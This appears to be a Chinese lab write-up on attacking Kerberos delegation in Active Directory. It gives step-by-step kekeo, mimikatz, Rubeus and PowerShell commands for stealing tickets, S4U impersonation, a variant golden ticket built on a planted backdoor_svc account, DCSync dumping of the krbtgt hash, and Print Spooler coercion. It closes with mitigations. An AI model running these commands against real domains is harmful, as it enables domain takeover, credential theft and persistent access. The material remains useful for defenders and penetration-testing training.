最近harmj0y大佬发布了基于C#的Rubeus来弥补kekeo工具的一些不足
https://github.com/GhostPack/Rubeus
https://posts.specterops.io/from-kekeo-to-rubeus-86d2ec501c14
实验环境配置参考 Kerberoasting 攻击的配置 https://blog.xpnsec.com/kerberos-attacks-part-1/
其中添加服务账户iis_svc的命令,设置其SPN为HTTP/iis.lab.local(也可以使用setspn命令设置spn),在域控上运行:
1 | Import-Moudle ActiveDirectory |
本文主要介绍一下对Kerberos委派的一些常见攻击方法
实验环境:
1 | DC2 域控 ,dc2.lab.local |
1 | 域管理员 LAB\Administrator LAB\dlive |
脆弱点发现
服务账号和主机账号都可以开启委派功能
下图为主机账户DESKTOP-WIN10
委派配置
下图为服务账户iis_svc
委派配置
可以看到主机账户和服务账户在委派功能上没什么区别,都存在三个选项
- 不信任此用户作为委派 => 不开启委派功能
- 信任此用户作为任何服务的委派 => 非受限委派
- 仅信任此用户作为指定服务的委派 => 受限委派
- 适用任何身份验证协议
- 仅适用Kerberos
开启了委派功能的账户存在被攻击者利用的可能性,通过下面的命令(基于PowerView)可以发现域中开启了委派功能的账户
1 | # Powerview,通过LDAP查询获取信息 |
下图为Get-NetComputer的结果,查询出两个主机账户开启了非限制委派DC2和DESKTOP-WIN10(域控制器主机账户默认开启非限制委派),下图为DESKTOP-WIN10
1 | # 受限委派 |
下图为Get-NetUser运行结果,iis_svc账户开启限制委派,限制委派服务为cifs/DESKTOP-WIN10.lab.local
1 | # 允许委派的账户 -AdminCount表示管理员账户 |
攻击非受限委派(Unconstrained Delegation)
非受限委派,IIS服务账户iis_svc配置如下,iis_svc
账户在IIS主机上用于启动iis.lab.local_pool
非受限委派协议流程
非受限委派的情况下,Service1可以获取用户的TGT,从而Service1可使用该TGT,模拟用户访问Service2服务。
在实验环境中,以开启委派功能的服务账户iis_svc运行服务的主机(在本实验环境下该主机名为IIS)上会缓存用户的TGT
所以攻击者只需提取IIS主机上保存的TGT,然后进行PTT攻击即可,如果可以获取域管理员的TGT,则可以获取域管理员权限
执行mimikatz,提取内存中保存的票据
下图为导出的LAB/dlive
用户的TGT,同时还可以看到IIS主机账户的票据
在本环境中LAB/dlive
域用户为域管理员,将该用户的TGT注入攻击者主机(win7)当前会话进行PTT攻击
在将TGT写入当前会话之后,使用klist查看当前会话中的票据,可以看到dlive.lab.local
的TGT
然后访问DC上的文件系统,或直接使用Powershell Enter-PSSession访问DC即可
1 | Powershell Enter-PSSession |
攻击受限委派(Constrained Delegation)
受限委派,IIS服务账户iis_svc配置如下,DESKTOP-WIN10是域内另一台主机,下图设置了iis_svc对WIN10-DESKTOP的CIFS服务的委派
受限委派协议流程
受限委派的情况下,服务账号只能获取某用户的TGS,从而只能模拟用户访问特定的服务。
在开启受限委派的服务所在主机中无法抓取到用户TGT
但是如果攻击者可以获取到开启非限制委派的服务账户的明文口令/NTLM Hash,也可以伪造TGT和S4U请求
伪装成服务账户以任意账户的权限(如域管理员)申请TGS
其中服务账户的明文口令可能可以通过Kerberoasting攻击获取
在知道服务账号明文口令的情况下,使用kekeo获取TGT
1.TGT被写入当前目录下的TGT_iis_svc@LAB.LOCAL_krbtgt~lab.local@LAB.LOCAL.kirbi
文件中
1 | kekeo.exe "tgt::ask /user:iis_svc /domain:lab.local /password:Passw0rd" exit |
2.kekeo通过s4u请求以LAB\administrator
用户身份访问CIFS的TGS
(S4U2Self获取到的ticket和S4U2Proxy获取到的DESKTOP-WIN10 CIFS服务的TGS会以文件保存在当前目录下)
1 | kekeo.exe "tgs::s4u /tgt:TGT_iis_svc@LAB.LOCAL_krbtgt~lab.local@LAB.LOCAL.kirbi /user:Administrator@lab.local /service:cifs/DESKTOP-WIN10.lab.local" exit |
3.mimikatz将获取到的TGS写入当前会话
1 | mimikatz.exe "kerberos::ptt TGS kirbi" |
4.查看缓存的票据,可以看到写入的TGS
5.然后即可dir访问远程主机DESKTOP-WIN10文件系统
上面是在获取到iis_svc服务账户的密码之后进行的攻击,kekeo也支持直接使用NTLM进行TGT请求
将iis_svc的NTLM为a87f3a337d73085c45f9416be5787d86,tgt::ask
时将/password参数修改为/NTLM即可
1 | kekeo.exe "tgt::ask /user:iis_svc /domain:lab.local /NTLM:a87f3a337d73085c45f9416be5787d86" exit |
如果攻击者可以直接拿到IIS服务所在服务器的权限,也可以直接从内存中提取服务账户TGT,无需进行tgt::ask
,直接tgt::s4u
即可
1 | # 提取ticket |
或者按照 http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/ 中Scenario 2介绍的方法
1 | # translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx |
我们之前说过主机账户也存在委派功能,但是主机账户的口令是系统随机生成的,破解拿到明文口令的可能性太小
一般使用主机账户做委派攻击时会使用其NTLM Hash,需要注意的一点是主机账户的用户名为主机名+$
如DESKTOP-WIN10的用户名为DESKTOP-WIN10$
使用受限委派制作变种黄金票据
第一次听到这种攻击方法是在n1nty大佬在KCON上的演讲
之后便去学习了n1nty大佬的文章,https://paper.seebug.org/620/
关于变种黄金票据的具体细节可以参考这个文章
变种黄金票据的原理为,利用限制委派账户,向tgs自身申请了一张域管理员访问tgs服务的票据,即TGT
TGT也可以看做TGS的一种,不过是访问tgs这个特殊服务的票据
tgs服务的spn为krbtgt/LAB.LOCAL,该服务以krbtgt服务账户运行的
小插曲
最初我测试这个变种黄金票据的时候是在Windows 2012域环境下测试,一直不成功
看SPN或Kerberos协议数据包也没看出什么问题
后来问了一下n1nty师傅,说是2012 及以后的KDC,受限委派的机制变成了Resource Based Constrained Delegation,有可能是这个原因
于是换成2008的域环境进行测试,果然可以成功
而关于如何在2012及以后的域控上实现黄金票据,我研究了好久也没能搞定,有知道的师傅求教Orz...
所以下面的测试环境换为
域 dlive.com
域控 Windows Server 2008 DC1.dlive.com
域管理员 DLIVE\Administrator
攻击者 Win7 内置用户 WIN7\dtz
变种黄金票据的流程如下
一、在获取域管理员权限之后,添加服务账户backdoor_svc,开启非限制委派,服务类型为krbtgt/DLIVE.COM
关于tgs服务的spn:
我们在域控上执行klist查看到任何一个域用户的TGT票据即可以发现,tgs服务的spn为krbtgt/DLIVE.COM
1.添加服务账户
1 | New-ADUser -Name "Backdoor" -SamAccountName backdoor_svc -UserPrincipalName backdoor_svc@dlive.com -ServicePrincipalNames "backdoor/backdoor.dlive.com" -AccountPassword (convertto-securestring "Dubhe@1234" -asplaintext -force) -PasswordNeverExpires $True -PassThru | Enable-ADAccount |
2.设置委派
1 | $user = Get-ADUser backdoor_svc -Properties "msDS-AllowedToDelegateTo" |
二、攻击者通过已知的backdoor_svc口令,使用kekeo tgt::ask,获取backdoor_svc tgt
1 | kekeo.exe "tgt::ask /user:backdoor_svc /domain:dlive.com /password:Dubhe@1234" exit |
三、攻击者通过kekeo tgs::s4u,获取DLIVE\Administrator访问krbtgt/DLIVE.COM的TGS,即DLIVE\Administrator的TGT
1 | kekeo.exe "tgs::s4u /tgt:TGT_backdoor_svc@DLIVE.COM_krbtgt~dlive.com@DLIVE.COM.kirbi /user:Administrator@dlive.com /service:krbtgt/DLIVE.COM" exit |
四、攻击者利用获取的域管理员的TGT控制域控制器
1 | mimikatz.exe "kerberos::ptt TGS_Administrator@dlive.com@DLIVE.COM_krbtgt~DLIVE.COM@DLIVE.COM.kirbi" exit |
klist查看缓存的票据
以域管理员的身份访问域控
受限委派 + DCSync 域控权限维持
变种黄金票据在2012之后的域环境下没有试验成功
但是在2012及之后的域环境下还是有其他办法可以通过受限委派进行持久化控制的
这里利用了DC上的ldap服务,通过受限委派获取ldap服务的票据进行DCSync攻击
参考:https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/
1.给后门服务账户设置委派
1 | Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("ldap/DC2.lab.local") } |
2.申请以LAB\Administrator
身份访问ldap/DC2.lab.local的TGS
1 | kekeo.exe "tgt::ask /user:backdoor_svc /domain:dlive.com /password:Dubhe@1234" exit |
3.mimikatz将TGS写入内存
1 | mimikatz.exe "kerberos::ptt TGS_Administrator@lab.local@LAB.LOCAL_ldap~DC2.lab.local@LAB.LOCAL.kirbi" exit |
4.DCSync读取krbtgt的HASH
1 | mimikatz.exe "lsadump::dcsync /user:krbtgt /domain:lab.local" exit |
5.下面就可以通过krbtgt伪造黄金票据了
也可以直接通过dcsync读取LAB\Administrator的HASH进行PTH
1 | mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:lab.local /ntlm:9492fbc31a047a42a454f0e1701103dc /run:cmd.exe" exit |
非受限委派 + Print Spooler服务 域控权限获取/权限维持
参考:
https://adsecurity.org/?p=4056
https://www.youtube.com/watch?v=-bcWZQCLk_4&feature=youtu.be&t=2194
https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory
在已经控制一台非受限委派机器的情况下,攻击者可以提取该机器中缓存的TGT,但是如果域管理员未曾访问过该机器,攻击者没办法获取到域管的TGT
在DerbyCon 8(2018年)会议上,Will Schroeder (@Harmj0y)、Lee Christensen (@Tifkin_)和Matt Nelson (@enigma0x3)提出了一种场景,当域控机器开启Print Spooler服务时(默认开启且以System权限运行),攻击者可以主动要求域控访问已被攻击者控制的非受限委派服务器,进而获取域控主机账户的TGT。当然这种攻击方式也适用于其他非域控机器。
但是这种攻击有一个限制是需要找到一台开启非受限委派的主机账户,而非服务账户。
在一些网络环境下开启非受限委派的主机账户可能不是很好找,DerbyCon 8该攻击方法的作者是以SHAREPOINT主机为例演示的。虽然开启非受限委派的主机账户可能不是很好找,但是这种方式仍然可以用作一种权限维持方式。
1.首先开启DESKTOP-WIN10主机账户的非受限委派
域控DC2上Print Spooler服务默认是自动运行的,下图是该服务的截图
攻击者现在已经拿下DESKTOP-WIN10的控制权限
最近harmj0y大佬发布了基于C#的Rubeus来弥补kekeo工具的一些不足
2.这里使用Rubeus的监听模式,监听登录会话提取TGT
1 | # 以管理员身份运行 |
3.向DC2 Print Spooler发送请求,强制其访问DESKTOP-WIN10进行身份验证
1 | # 以域用户身份运行 |
缓解措施
- 不需要使用委派的账户或高权限用户,比如域管理员账户,设置不允许委派
- 受保护的用户组
适用于Windows 2012 R2以及更高版本的系统
参考:
https://docs.microsoft.com/zh-cn/windows-server/security/credentials-protection-and-management/protected-users-security-group#BKMK_HowItWorks
https://docs.microsoft.com/zh-cn/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts
1 | If the domain functional level is Windows Server 2012 R2 , members of the group can no longer: |
参考资料
1.无约束委派攻击
https://adsecurity.org/?p=1667
https://www.cnblogs.com/backlion/p/9268346.html
2.约束委派相关协议(s4u2self/s4u2proxy)MSDN
https://msdn.microsoft.com/en-us/library/cc246080.aspx
3.约束委派攻击
https://www.anquanke.com/post/id/92484#h2-0
http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/
https://www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-ata-day3.html
4.基于域委派的变种黄金票据
5.Blackhat US 2015 提出关于非受限委派的攻击手法
https://adsecurity.org/?p=1667
6.Blackhat Asia 2017 提出关于受限委派的攻击手法
7.攻击者是如何通过域控制器打印机服务和无约束Kerberos委派账户获取最高权限的
https://adsecurity.org/?p=4056
https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory
8.受保护的用户组
https://docs.microsoft.com/zh-cn/windows-server/security/credentials-protection-and-management/protected-users-security-group#BKMK_HowItWorks
https://docs.microsoft.com/zh-cn/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts